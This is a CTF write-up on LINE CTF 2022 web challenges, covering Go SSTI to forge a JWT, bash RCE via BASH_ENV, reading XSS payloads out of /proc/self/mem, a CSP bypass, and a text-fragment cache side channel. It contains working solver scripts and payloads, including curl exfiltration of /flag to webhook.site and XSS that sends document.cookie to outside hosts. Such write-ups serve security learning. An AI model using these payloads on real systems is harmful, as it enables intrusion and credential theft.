LINE CTF 2022 Writeups
This article is automatically translated by LLM, so the translation may be inaccurate or incomplete. If you find any mistake, please let me know.
You can find the original article here .
Solved a few web challenges from LINE CTF in Goburin'. Since there were some interesting client-side challenges, I wrote this post to document some solutions.
gotm
A golang service that provides register and login, using JWT for authentication. The goal is to sign an admin's JWT to get the flag.
The key part of the challenge is here:
type Account struct {
id string
pw string
is_admin bool
secret_key string
}
// omitted...
func root_handler(w http.ResponseWriter, r *http.Request) {
token := r.Header.Get("X-Token")
if token != "" {
id, _ := jwt_decode(token)
fmt.Println(id)
acc := get_account(id)
fmt.Println(acc)
tpl, err := template.New("").Parse("Logged in as " + acc.id)
if err != nil {
}
tpl.Execute(w, &acc)
} else {
return
}
}
Where acc.id
is the registered username, which is user-controllable, so there is SSTI. Since acc
has secret_key
, you can use {{.}}
to leak it, then sign your own token with JWT.
curl 'http://34.146.226.125/regist' --data 'id={{.}}&pw=asd'
curl 'http://34.146.226.125/auth' --data 'id={{.}}&pw=asd'
curl 'http://34.146.226.125/' -H 'X-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Int7Ln19IiwiaXNfYWRtaW4iOmZhbHNlfQ.rthp4OaE1Iau8Q9PIxoB-F9VGukYpbX1I-GpPPDSGhM'
# secret_key: fasdf972u1031xu90zm10Av
curl 'http://34.146.226.125/' -H 'X-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6InBla28iLCJpc19hZG1pbiI6dHJ1ZSwiaWF0IjoxNjQ4MzE1NDMxfQ.CBzvISXJXsSScg8pvb0okNUKolceJabxYoD9hrSdRmU'
# LINECTF{country_roads_takes_me_home}
bb
<?php
error_reporting(0);
function bye($s, $ptn){
if(preg_match($ptn, $s)){
return false;
}
return true;
}
foreach($_GET["env"] as $k=>$v){
if(bye($k, "/=/i") && bye($v, "/[a-zA-Z]/i")) {
putenv("{$k}={$v}");
}
}
system("bash -c 'imdude'");
foreach($_GET["env"] as $k=>$v){
if(bye($k, "/=/i")) {
putenv("{$k}");
}
}
highlight_file(__FILE__);
?>
It sets environment variables from the env[k]=v
parameter and then executes bash. The goal is to achieve RCE to read /flag
.
This challenge reminded me of a tweet (and the linked article) I saw recently, which introduced some methods to achieve bash RCE when only environment variables are controllable. (If file upload is allowed, there's LD_PRELOAD
)
There are mainly two methods:
BASH_ENV='$(id 1>&2)' bash -c 'echo hello'
env $'BASH_FUNC_myfunc%%=() { id; }' bash -c 'myfunc'
For some unknown reason, BASH_FUNC_imdude
failed in my Docker environment tests, but it worked locally with php -S
, so I used the BASH_ENV
route.
After injection, you need to bypass the filter that disallows English letters. This can be done using octal encoding like $'\151\144'
($'id'
).
Since some encoding is required, I wrote a script to generate the payload more conveniently:
from urllib.parse import quote_plus
cmd = b"curl https://webhook.site/62cc2e32-cce1-49de-9528-a11a4476d9e5 -F flag=@/flag"
parts = cmd.split(b' ')
cmd = ["$'"+''.join([f'\\{x:03o}' for x in p])+"'" for p in parts]
cmd = ' '.join(cmd)
payload = "$(%s)" % cmd
print(payload)
print(quote_plus(payload))
# LINECTF{well..what_do_you_think_about}
The generated URL is:
http://34.84.151.109/?env[BASH_ENV]=%24%28%24%27%5C143%5C165%5C162%5C154%27+%24%27%5C150%5C164%5C164%5C160%5C163%5C072%5C057%5C057%5C167%5C145%5C142%5C150%5C157%5C157%5C153%5C056%5C163%5C151%5C164%5C145%5C057%5C066%5C062%5C143%5C143%5C062%5C145%5C063%5C062%5C055%5C143%5C143%5C145%5C061%5C055%5C064%5C071%5C144%5C145%5C055%5C071%5C065%5C062%5C070%5C055%5C141%5C061%5C061%5C141%5C064%5C064%5C067%5C066%5C144%5C071%5C145%5C065%27+%24%27%5C055%5C106%27+%24%27%5C146%5C154%5C141%5C147%5C075%5C100%5C057%5C146%5C154%5C141%5C147%27%29
online library
This challenge has a node.js service, and the goal is to use XSS to get the bot's cookie. The bot only accepts any path on the service, not external URLs.
The key part of this challenge is here:
app.get("/:t/:s/:e", (req: Express.Request, res: Express.Response): void => {
const s: number = Number(req.params.s)
const e: number = Number(req.params.e)
const t: string = req.params.t
if ((/[\x00-\x1f]|\x7f|\<|\>/).test(t)) {
res.end("Invalid character in book title.")
} else {
Fs.stat(`public/${t}`, (err: NodeJS.ErrnoException, stats: Fs.Stats): void => {
if (err) {
res.end("No such a book in bookself.")
} else {
if (s !== NaN && e !== NaN && s < e) {
if ((e - s) > (1024 * 256)) {
res.end("Too large to read.")
} else {
Fs.open(`public/${t}`, "r", (err: NodeJS.ErrnoException, fd: any): void => {
if (err || typeof fd !== "number") {
res.end("Invalid argument.")
} else {
let buf: Buffer = Buffer.alloc(e - s);
Fs.read(fd, buf, 0, (e - s), s, (err: NodeJS.ErrnoException, bytesRead: number, buf: Buffer): void => {
res.end(`<h1>${t}</h1><hr/>` + buf.toString("utf-8"))
})
}
})
}
} else {
res.end("There isn't size of book.")
}
}
})
}
});
This is a route that allows specifying the filename and the start and end positions to read the file.
There is an obvious path traversal vulnerability that allows arbitrary file reading, such as /..%2f..%2fproc%2fself%2fenviron/0/1024
to read environment variables. To achieve XSS, you need to find a file in the file system that contains the payload.
This challenge uses express-session
to handle sessions, but it defaults to using memory store as the session store, so no files are left in the file system. Additionally, there are no services like nginx or apache in this container that could be used for LFI (e.g., PHP LFI with Nginx Assistance).
My approach was to use /proc/self/mem
, which represents the current node process's memory, meaning the payload must exist at some offset. Using /proc/self/maps
, you can get the current memory pages, and it's reasonable to assume that variables exist in the v8 heap, which is likely an rw page. By filtering and attempting to read the contents of each page to see if the payload is hidden, you can get a URL with XSS.
To increase the success rate, you can use the POST /identify
route, which has a total.push(req.body.username)
, where total
is a global array that is periodically cleared. By putting the payload into total
, the chance of it being garbage collected before finding the target page is lower.
Additionally, there is a custom captcha to handle when submitting XSS, but since it is drawn directly on canvas with clean and neat fonts, it can be solved using pytesseract.
import requests
import os
import pytesseract
from PIL import Image
from urllib.request import urlopen
import io
# baseurl = "http://localhost:10100"
baseurl = "http://35.243.100.112"
def build_url(path: str, start, end) -> str:
return baseurl + "/" + path.replace("/", "%2f") + f"/{start}/{end}"
def read_file(path: str, start=0, end=1024 * 256) -> bytes:
return requests.get(build_url(path, start, end)).content.split(b"<hr/>")[1]
def parse_maps(maps: str):
ar = []
for line in maps.strip("\0\r\n ").splitlines():
mem, perm, *_ = line.split(" ")
start, end = [int(x, 16) for x in mem.split("-")]
ar.append((start, end, perm))
return ar
def read_mem(start, end, bs=1024 * 256):
if (end - start) // bs > 5:
# too big, ignore
return b""
ret = b""
for i in range(start, end, bs):
s = i
e = min(i + bs, end)
ret += read_file("../../proc/self/mem", s, e)
return ret
def get_sess():
sess = requests.Session()
username = "<script>new Image().src='https://9295-8-39-126-53.ngrok.io?'+document.cookie</script>"
username += os.urandom(128).hex()[: (99 - len(username))]
j = sess.post(baseurl + "/identify", data={"username": username}).json()
assert not j["error"]
return username, sess
def get_captcha(sess):
imgb64 = sess.get(baseurl + "/report").text.split('<img src="')[1].split('"/>')[0]
resp = urlopen(imgb64)
img = Image.open(io.BytesIO(resp.file.read()))
captcha = pytesseract.image_to_string(img).strip()
return captcha
def report_path(sess, path):
resp = sess.post(
baseurl + "/report", {"captcha": get_captcha(sess), "url": url[len(baseurl) :]}
).json()
if resp["error"]:
return report_path(sess, path)
return resp
selfmaps = read_file("../../proc/self/maps").decode()
rw_pages = [(s, e) for s, e, p in parse_maps(selfmaps) if "rw" in p]
print(rw_pages)
username, sess = get_sess()
for i, page in enumerate(rw_pages):
print(i)
mem = read_mem(*page)
if username.encode() in mem:
print("found", page)
url = build_url("../../proc/self/mem", *page)
print(url)
print(report_path(sess, url[len(baseurl) :]))
# LINECTF{705db4df0537ed5e7f8b6a2044c4b5839f4ebfa4}
Haribote Secure Note
This challenge is a flask note service, and the goal is also to use XSS to get the bot's cookie.
You can see that the template filenames all end with .j2
. Although it's also a Jinja2 template, you'll quickly find that it doesn't escape HTML. This is because flask only escapes HTML/XML/XHTML by default, so there are many injection points.
However, the challenge is that its CSP is as follows:
default-src 'self'; style-src 'unsafe-inline'; object-src 'none'; base-uri 'none'; script-src 'nonce-{{ csp_nonce }}'
'unsafe-inline'; require-trusted-types-for 'script'; trusted-types default
Inline scripts require a nonce, otherwise, you need trusted types:
<script nonce="{{ csp_nonce }}">
(() => {
trustedTypes.createPolicy("default", {
createHTML(unsafe) {
return unsafe
.replace(/&/g, "&")
.replace(/</g, "<")
.replace(/>/g, ">")
.replace(/"/g, """)
.replace(/"/g, "'")
}
});
})();
</script>
This is difficult to bypass because all innerHTML
assignments are blocked by this filter.
One key point of the challenge is that there is a display name that can be freely set, with a length limit of 16. It will be placed in shared_user_name
here:
<script nonce="{{ csp_nonce }}">
const printInfo = () => {
const sharedUserId = "{{ shared_user_id }}";
const sharedUserName = "{{ shared_user_name }}";
const div = document.createElement('div');
div.classList.add('alert')
div.classList.add('alert-warning')
div.innerHTML = [
`[debug:${new Date().toISOString()}]`,
`UserId="${sharedUserId}"`,
`DisplayName="${sharedUserName}"`
].join(' ');
const sharedUserInfo = document.getElementById('sharedUserInfo');
sharedUserInfo.replaceChildren(div);
}
const printInfoBtn = document.getElementById('printInfoBtn');
printInfoBtn.addEventListener('click', printInfo);
</script>
Using "+alert(1)+"
can achieve a very short XSS, but due to CSP, methods related to eval
cannot be used.
PS: The bot will click
#printInfoBtn
Another place is here:
<script nonce="{{ csp_nonce }}">
const render = notes => {
const noteArea = document.getElementById("notes");
notes.sort((a, b) => Date.parse(a.createdAt) - Date.parse(b.createdAt));
for (const note of notes) {
const noteDiv = document.createElement("div");
noteDiv.classList.add("p-2")
noteDiv.classList.add("bg-light")
noteDiv.classList.add("border")
const title = document.createElement("h2");
title.innerHTML = note.title;
noteDiv.appendChild(title);
const content = document.createElement("p");
content.innerHTML = note.content;
noteDiv.appendChild(content);
const createdAt = document.createElement("time");
createdAt.innerHTML = `Created at: ${note.createdAt}`;
noteDiv.appendChild(createdAt)
noteArea.appendChild(noteDiv);
}
};
render({{ notes }})
</script>
The notes
is a python array, which will be directly converted to a string by Jinja2 using str
or repr
. Since both python and javascript can use single quotes to enclose strings, it's not a problem.
Obviously, if your note's title or content contains </script>
, you can break out of the script tag and inject arbitrary HTML.
My approach used a bypass mentioned in this post, which is to use import('data:text/javascript,alert(1)')
in a script tag with a nonce to execute it.
Therefore, the method is clear: put "+import(y)+"
in the display name, and use <a>
dom clobbering to place the payload. Since the title and content have length limits of 64 and 128 respectively, I used another <a>
to store the URL.
Complete payload:
display name:
"+import(y)+"
title:
</script><a id=x href="//SERVER"></a>
content:
<a id=y href="data:text/javascript,open(x+`?`+document.cookie);alert()"></a>
# LINECTF{0n1y_u51ng_m0d3rn_d3fen5e_m3ch4n15m5_i5_n0t_3n0ugh_t0_0bt41n_c0mp13te_s3cur17y}
There are also some different approaches to this challenge. One can be seen in this post, which uses a combination of javascript and HTML comments to enter the script data double escaped state, successfully placing the JS payload in the content.
Another approach similar to my idea is to inject <iframe src=/p name=f></iframe>
, and use dom clobbering to place the payload. The display name injection code is f.eval(p)
. Since the CSP is set using an HTML meta tag, non-existent pages don't have CSP, allowing eval.
The title ハリボテ (Haribote) roughly translates to "paper tiger" in Chinese. After solving it, it indeed felt like it had many protections, but in reality, it was just a paper tiger.
title todo
This challenge is another flask service with an XSS bot. The flag format is LINECTF{([0-9a-f]/){10}}
, which suggests a side channel attack.
The challenge allows you to upload images and specify a title, then share the generated page with the admin. The CSP is very strict, and I couldn't find a way to bypass it.
The first vulnerability is in image.html
:
<img src={{ image.url }} class="mb-3">
Since the src is not quoted, you can inject other attributes, but due to CSP, there's no XSS or CSS injection.
The code for uploading and adding pages is as follows:
@app.route('/image/upload', methods=['POST'])
@login_required
def upload_image():
img_file = request.files['img_file']
if img_file:
ext = os.path.splitext(img_file.filename)[1]
if ext in ['.jpg', '.png']:
filename = uuid4().hex + ext
img_path = os.path.join(app.config.get('UPLOAD_FOLDER'), filename)
img_file.save(img_path)
return jsonify({'img_url': f'/static/image/{filename}'}), 200
return jsonify({}), 400
@app.route('/image', methods=['GET', 'POST'])
@login_required
def create_image():
if request.method == 'POST':
title = request.form.get('title')
img_url = request.form.get('img_url')
if title and img_url:
if not img_url.startswith('/static/image/'):
flash('Image creation failed')
return redirect(url_for('create_image'))
image = Image(title=title, url=img_url, owner=current_user)
db.session.add(image)
db.session.commit()
res = redirect(url_for('index'))
res.headers['X-ImageId'] = image.id
return res
return redirect(url_for('create_image'))
elif request.method == 'GET':
return render_template('create_image.html')
You can see it's a two-step upload process. After POST /image/upload
, you get the uploaded path, and then POST /image
provides img_url
. Since it only checks the beginning, you can inject attributes by adding spaces.
Another important key is in the nginx.conf
:
location /static {
uwsgi_cache one;
uwsgi_cache_valid 200 5m;
uwsgi_ignore_headers X-Accel-Redirect X-Accel-Expires Cache-Control Expires Vary;
include uwsgi_params;
uwsgi_pass app;
add_header X-Cache-Status $upstream_cache_status;
}
It caches paths under /static
for five minutes, and the cache status is in the X-Cache-Status
header.
When the admin views the page, the flag appears in the footer:
<footer class="footer">
{% if current_user.is_admin %}
{{ config.get('FLAG') }}
{% endif %}
</footer>
My approach used Scroll to Text Fragment, which places #:~:text=something
in the hash, causing the browser to scroll to the target text if it exists.
A common method is to combine it with the <img>
loading="lazy"
attribute, which only sends a request to load the image when it enters the viewport. By placing a very long title and using attribute injection to make it lazy load the image, the browser won't send a request to /static/???.jpg
by default.
However, since the flag is in the footer, if #:~:text=LINECTF{
matches, it will scroll to the bottom, causing the <img>
to enter the viewport and send a request to /static/???.jpg
. With X-Cache-Status
, you can determine if the image was loaded based on whether it's HIT
or MISS
, indicating if the flag prefix matched and scrolled to the bottom.
This provides an oracle to determine the flag prefix, allowing you to brute force the entire flag.
import httpx
import time
import asyncio
with open("white.jpg", "rb") as f:
white_jpg = f.read()
async def upload(client: httpx.Client, name: str, data: bytes) -> str:
resp = await client.post("/image/upload", files={"img_file": (name, data)})
return resp.json()["img_url"]
async def create_image(client: httpx.Client, title: str, img_url: str) -> str:
resp = await client.post(
"/image", data={"title": title, "img_url": img_url}, allow_redirects=False
)
return resp.headers.get("X-ImageId")
async def share(client: httpx.Client, path: str):
await client.post("/share", json={"path": path})
async def check_cached(client: httpx.Client, path: str) -> bool:
return (await client.get(path)).headers["X-Cache-Status"] == "HIT"
async def check_flag_prefix(client: httpx.Client, prefix: str) -> bool:
img_path = await upload(client, "white.jpg", white_jpg)
img_id = await create_image(client, b"x" * 2048, img_path + " loading=lazy")
await share(client, f"image/{img_id}#:~:text={prefix}")
await asyncio.sleep(1)
return await check_cached(client, img_path)
async def main():
# base_url = "http://localhost"
base_url = "http://35.187.204.223"
async with httpx.AsyncClient(base_url=base_url) as client:
await client.post(
"/login", data={"username": "supernene", "password": "supernene"}
)
# Can't use asyncio.gather because bot is sequential QAQ
flag = "LINECTF{"
while True:
cands = [f"{flag}{i:x}/" for i in range(16)]
for cand in cands:
if await check_flag_prefix(client, cand):
flag = cand
break
else:
flag += "}"
break
print(flag)
print(flag)
# LINECTF{0/5/d/b/a/e/e/7/c/c/}
asyncio.run(main())
The flag includes
/
because Chromium only matches whole words, making it easier to avoid this side channel.